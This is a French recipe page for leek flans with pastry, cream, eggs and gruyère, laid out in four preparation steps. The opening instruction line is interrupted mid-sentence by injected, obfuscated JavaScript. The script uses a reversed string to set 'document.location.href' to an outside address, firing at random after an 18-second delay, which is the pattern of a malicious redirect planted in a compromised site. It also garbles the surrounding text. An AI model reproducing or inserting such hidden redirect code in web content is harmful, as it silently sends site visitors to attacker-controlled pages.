Petits flans aux poireaux
2016-12-28- Cuisine : Flans salés
- Niveau : Facile
Epluchez, lavez, émincez les poireaux. Dans une sauteuse avec un peu de beurre, sur feu moyen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, faites fondre les poireaux pendant 20 minutes.
Ingrédients
- Pour 6 personnes
- 2 rouleaux de pâte brisée
- 6 jeunes poireaux
- 30 cl de crème fraiche épaisse
- 3 œufs entiers
- 1 noix de beurre
- 125 g de gruyère râpé
- poivre les 4 baies
Préparation de la recette
Etape 1
Epluchez, lavez, émincez les poireaux. Dans une sauteuse avec un peu de beurre, sur feu moyen tout en remuant, faites fondre les poireaux pendant 20 minutes.
Etape 2
Pendant ce temps fouettez la crème fraiche avec les œufs entiers, salez, poivrez, incorporez la moitié du gruyère râpé, et ajoutez les poireaux.
Etape 3
Beurrez les petites tartelettes, foncez avec le pâte brisée, garnissez-les de la préparation en attente. Parsemez de gruyère râpé.
Etape 4
Préchauffez le four à 180°C thermostat 6. Enfournez et faites cuire pendant 25 minutes. Vérifiez la cuisson, servez-les à la sortie du four avec une salade verte.
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette
Related Recipes:
-
Gratin d’aubergines
-
Salade d’épinards